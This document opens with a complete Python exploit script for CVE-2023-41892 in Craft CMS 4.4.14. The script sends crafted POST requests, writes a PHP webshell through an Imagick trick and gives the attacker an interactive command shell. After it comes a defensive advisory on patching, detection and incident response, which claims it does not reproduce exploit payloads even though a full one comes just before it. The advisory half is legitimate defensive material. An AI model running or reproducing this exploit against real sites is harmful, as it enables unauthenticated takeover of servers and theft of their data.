Craft CMS 4.4.14 - Unauthenticated Remote Code Execution
#!/usr/bin/env python3
#coding: utf-8
# Exploit Title: Craft CMS unauthenticated Remote Code Execution (RCE)
# Date: 2023-12-26
# Version: 4.0.0-RC1 - 4.4.14
# Vendor Homepage: https://craftcms.com/
# Software Link: https://github.com/craftcms/cms/releases/tag/4.4.14
# Tested on: Ubuntu 22.04.3 LTS
# Tested on: Craft CMS 4.4.14
# Exploit Author: Olivier Lasne
# CVE : CVE-2023-41892
# References :
# https://github.com/craftcms/cms/security/advisories/GHSA-4w8r-3xrw-v25g
# https://blog.calif.io/p/craftcms-rce
import requests
import sys, re
if(len(sys.argv) < 2):
print(f"\033[1;96mUsage:\033[0m python {sys.argv[0]} \033[1;96m<url>\033[0m")
exit()
HOST = sys.argv[1]
if not re.match('^https?://.*', HOST):
print("\033[1;31m[-]\033[0m URL should start with http or https")
exit()
print("\033[1;96m[+]\033[0m Executing phpinfo to extract some config infos")
## Execute phpinfo() and extract config info from the website
url = HOST + '/index.php'
content_type = {'Content-Type': 'application/x-www-form-urlencoded'}
data = r'action=conditions/render&test[userCondition]=craft\elements\conditions\users\UserCondition&config={"name":"test[userCondition]","as xyz":{"class":"\\GuzzleHttp\\Psr7\\FnStream","__construct()":[{"close":null}],"_fn_close":"phpinfo"}}'
try:
r = requests.post(url, headers=content_type, data=data)
except:
print(f"\033[1;31m[-]\033[0m Could not connect to {HOST}")
exit()
# If we succeed, we should have default phpinfo credits
if not 'PHP Group' in r.text:
print(f'\033[1;31m[-]\033[0m {HOST} is not exploitable.')
exit()
# Extract config value for tmp_dir and document_root
pattern1 = r'<tr><td class="e">upload_tmp_dir<\/td><td class="v">(.*?)<\/td><td class="v">(.*?)<\/td><\/tr>'
pattern2 = r'<tr><td class="e">\$_SERVER\[\'DOCUMENT_ROOT\'\]<\/td><td class="v">([^<]+)<\/td><\/tr>'
tmp_dir = re.search(pattern1, r.text, re.DOTALL).group(1)
document_root = re.search(pattern2, r.text, re.DOTALL).group(1)
if 'no value' in tmp_dir:
tmp_dir = '/tmp'
print(f'temporary directory: {tmp_dir}')
print(f'web server root: {document_root}')
## Create shell.php in tmp_dir
data = {
"action": "conditions/render",
"configObject[class]": "craft\elements\conditions\ElementCondition",
"config": '{"name":"configObject","as ":{"class":"Imagick", "__construct()":{"files":"msl:/etc/passwd"}}}'
}
files = {
"image1": ("pwn1.msl", """<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="caption:<?php @system(@$_REQUEST['cmd']); ?>"/>
<write filename="info:DOCUMENTROOT/shell.php"/>
</image>""".replace("DOCUMENTROOT", document_root), "text/plain")
}
print(f'\033[1;96m[+]\033[0m create shell.php in {tmp_dir}')
r = requests.post(url, data=data, files=files) #, proxies={'http' : 'http://127.0.0.1:8080'}) #
# Use the Imagick trick to move the webshell in DOCUMENT_ROOT
data = {
"action": "conditions/render",
"configObject[class]": r"craft\elements\conditions\ElementCondition",
"config": '{"name":"configObject","as ":{"class":"Imagick", "__construct()":{"files":"vid:msl:' + tmp_dir + r'/php*"}}}'
}
print(f'\033[1;96m[+]\033[0m trick imagick to move shell.php in {document_root}')
r = requests.post(url, data=data) #, proxies={"http": "http://127.0.0.1:8080"})
if r.status_code != 502:
print("\033[1;31m[-]\033[0m Exploit failed")
exit()
print(f"\n\033[1;95m[+]\033[0m Webshell is deployed: {HOST}/\033[1mshell.php\033[0m?cmd=whoami")
print(f"\033[1;95m[+]\033[0m Remember to \033[1mdelete shell.php\033[0m in \033[1m{document_root}\033[0m when you're done\n")
print("\033[1;92m[!]\033[0m Enjoy your shell\n")
url = HOST + '/shell.php'
## Pseudo Shell
while True:
command = input('\033[1;96m>\033[0m ')
if command == 'exit':
exit()
if command == 'clear' or command == 'cls':
print('\n' * 100)
print('\033[H\033[3J', end='')
continue
data = {'cmd' : command}
r = requests.post(url, data=data) #, proxies={"http": "http://127.0.0.1:8080"})
# exit if we have an error
if r.status_code != 200:
print(f"Error: status code {r.status_code} for {url}")
exit()
res_command = r.text
res_command = re.sub('^caption:', '', res_command)
res_command = re.sub(' CAPTION.*$', '', res_command)
print(res_command, end='') Craft CMS 4.4.14 — Unauthenticated Remote Code Execution (CVE-2023-41892)
This article explains the remote code execution (RCE) vulnerability tracked as CVE-2023-41892 that affected Craft CMS releases from 4.0.0‑RC1 up to and including 4.4.14, the practical security impact, detection guidance, and recommended mitigations. The goal is to provide actionable, defensive guidance for site owners, incident responders, and administrators without reproducing exploit payloads.
Quick facts
| Item | Detail |
|---|---|
| Vulnerability | Unauthenticated remote code execution (RCE) |
| Affected versions | Craft CMS 4.0.0‑RC1 through 4.4.14 |
| CVE | CVE-2023-41892 |
| Patch | Upgrade to Craft CMS 4.4.15 or later (apply vendor advisory) |
| Severity | Critical — unauthenticated RCE allows full server compromise |
What happened (high level)
A crafting of user-supplied data could lead to an unsafe code path that permitted remote, unauthenticated users to trigger object instantiation and invoke functionality that resulted in arbitrary code execution. In practical terms, attackers could push a small set of crafted requests to vulnerable sites and obtain the ability to execute system commands and write files under the web server context.
RCE vulnerabilities in web applications are among the highest risk classes because they allow attackers to gain complete control of the server, move laterally, and persist by installing backdoors or stealing secrets.
Why this is critical
- Unauthenticated entry: no valid account or privileges were required to attempt exploitation.
- Arbitrary code execution: successful attacks can run arbitrary system commands and modify files accessible to the web server user.
- Rapid exploitation: publicly known proof‑of‑concepts and active exploit attempts make unpatched instances high‑priority targets.
Immediate actions for defenders
- Patch immediately: upgrade Craft CMS to the patched release (4.4.15 or later). If you manage installations via Composer, update the dependency and deploy.
- Isolate suspicious hosts: if you suspect compromise, isolate affected systems from the network to limit attacker movement.
- Check for indicators of compromise (IOCs): look for unexpected files in the webroot, unusual PHP files, webshell artifacts, or modifications to site content and plugins.
- Rotate credentials and secrets: if the site stored API keys, database credentials, or other secrets that could have been exposed, rotate them after containment.
- Review logs and backups: collect web server access logs, application logs, and backups for forensic analysis, and preserve evidentiary artifacts.
How to patch (recommended, defensive)
If you manage Craft CMS installations via Composer (recommended method), update the craftcms/cms package to a patched release. Below is a safe, defensive example of how to update your dependency to a specific patched version.
composer require craftcms/cms:^4.4.15
composer update craftcms/cms --with-dependencies
Explanation: The first command requests the minimum safe version constraint (4.4.15 or higher). The second command performs the update of that package (and required dependencies). After upgrading, always run your application tests, clear caches, and deploy to a staging environment before production rollout.
Additional hardening and mitigation steps
- Web Application Firewall (WAF): deploy or tighten WAF rules to block suspicious POST payloads targeting application endpoints, especially until you can patch. Use WAF rules to limit or deny unexpected content types and large multipart payloads from anonymous sources.
- Restrict file system privileges: configure the web server user so it cannot write to the document root. Keep temporary upload directories outside the served webroot and enforce strict ownership and permissions.
- Harden PHP runtime: disable dangerous functions if feasible (for example: exec, shell_exec, system, passthru, proc_open, popen), enforce open_basedir limits, and run with restrictive php.ini settings.
- Limit extensions exposure: evaluate whether third‑party PHP extensions used by the site (e.g., imaging libraries) need to be available; reduce the attack surface by uninstalling or disabling unnecessary extensions.
- Network segmentation: keep administrative and backend services on separate network segments and restrict access by IP or VPN where possible.
Detection guidance and log hunts
When searching for evidence of exploitation, focus on anomalous POST activity, unusual file writes, and unexpected process execution. Typical defensive telemetry sources include web server access logs, PHP‑FPM logs, system logs, and file integrity monitoring output.
- Search web logs for abnormal POSTs or multipart uploads originating from unknown IPs. Pay attention to requests that contain unusual payloads, unexpected parameters, or high entropy content in POST bodies.
- Scan the document root and adjacent directories for newly created PHP files or files with names that do not match normal site patterns. Webshells are commonly named to blend in but can often be discovered with baseline comparisons or hashes.
- Look for elevated error rates (502/500 responses) or sudden spikes in response codes after particular POSTs — these can indicate failed exploitation attempts or probing.
- Correlate outgoing network connections from the web server to unknown destinations, especially on unusual ports or immediately after suspicious requests.
Incident response checklist
- Preserve logs and disk images immediately; avoid overwriting evidence.
- Identify and isolate compromised hosts; keep a copy of compromised instances for analysis.
- Perform a file integrity audit comparing against backups or known good states.
- Search for webshells, scheduled tasks, persistent crons, or added SSH keys and remove them after collection for forensic analysis.
- Rebuild or harden systems where compromise is confirmed; prefer clean rebuilds from known good images rather than attempting in‑place remediation for full confidence.
- Notify stakeholders and, where applicable, follow legal and regulatory breach‑notification requirements.
Prevention and long term recommendations
- Keep dependencies up to date: subscribe to vendor security advisories and apply vendor patches in a timely manner.
- Adopt defense in depth: combine secure coding practices, WAFs, runtime hardening, and regular security assessments (SAST/DAST/pen tests).
- Use least privilege: run web services with minimal permissions and isolate components (databases, object stores) behind credentials and network controls.
- Implement runtime monitoring and EDR: detect anomalous behavior and command execution by web service processes.
- Train teams on secure configuration: ensure DevOps and hosting teams understand how to configure PHP, web servers, and runtime libraries securely.
References and where to get authoritative info
- Vendor advisory: consult the official Craft CMS security advisory for the CVE and upgrade instructions.
- Public analysis: independent security writeups and community posts can provide additional defensive context and IOCs, but always cross‑check with vendor guidance.
- CVE details: CVE‑2023‑41892 entry in vulnerability databases for timeline and metadata.
Summary
CVE‑2023‑41892 represented a critical, unauthenticated RCE in Craft CMS versions through 4.4.14 and required immediate action. Site operators should prioritize patching to a vendor‑recommended release, perform thorough detection and incident response if exploitation is suspected, and adopt layered security and operational hygiene to reduce the risk and impact of similar issues in the future.